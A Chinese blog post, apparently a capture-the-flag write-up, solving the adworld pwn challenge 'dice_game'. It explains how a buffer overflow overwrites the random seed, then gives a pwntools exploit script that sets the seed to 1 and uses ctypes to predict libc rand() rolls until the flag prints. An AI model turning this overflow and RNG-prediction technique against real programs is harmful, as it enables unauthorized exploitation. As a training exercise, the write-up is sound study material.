adworld pwn dice_game分析

由于考研等种种原因,好久没有看pwn题了,这两天熟悉了一下,继续研究哈

 

这次分析的是攻防世界上的pwn练习题dice_game,可能太久没看pwn题了,已经有点忘记思路了,今天就当回顾一下啦

 

首先我们在ubuntu中看一下可执行文件基本信息:

没有canary保护,启用了栈不可执行,pie保护措施。64bit的elf文件,并且stripped

我们先尝试运行一下,看看程序功能,然后直接丢进IDA,分析代码:

主函数是这样的,我们可以明显地发现存在缓冲区溢出漏洞,开始的时候我在想能不能直接覆盖掉返回地址,还琢磨了半天,果然是许久没看,手生了哈

buf偏移为0x50,read的最大字节数也是0x50,因此不可能覆盖到ret地址

然后我们接着看函数sub_B28()是用来打印flag的,重点在sub_A20,返回值一直是1即可,我们看一下具体代码:

我们看到它使用了随机数,那么我们就要看看随机数的种子能不能控制。看到之前seed在0x10处,有希望,开始着手写exp:

# 2020/6/16
# dice_game

from pwn import *
from ctypes import *

context.log_level = 'debug'

p = process("/home/tucker/ctf/pwn/dice_game/dice_game")

libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload = "a" * 0x40 + p64(1)
p.sendline(payload)

a = []
for i in range(50):
    a.append(libc.rand() % 6 + 1)
print(a)

for i in a:
    p.recv()
    # print(p.recv())
    p.sendline(str(i))

p.interactive()

其中说明一下:ctypes是python的一个库,导出了cdll函数,允许调用共享库中的函数。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章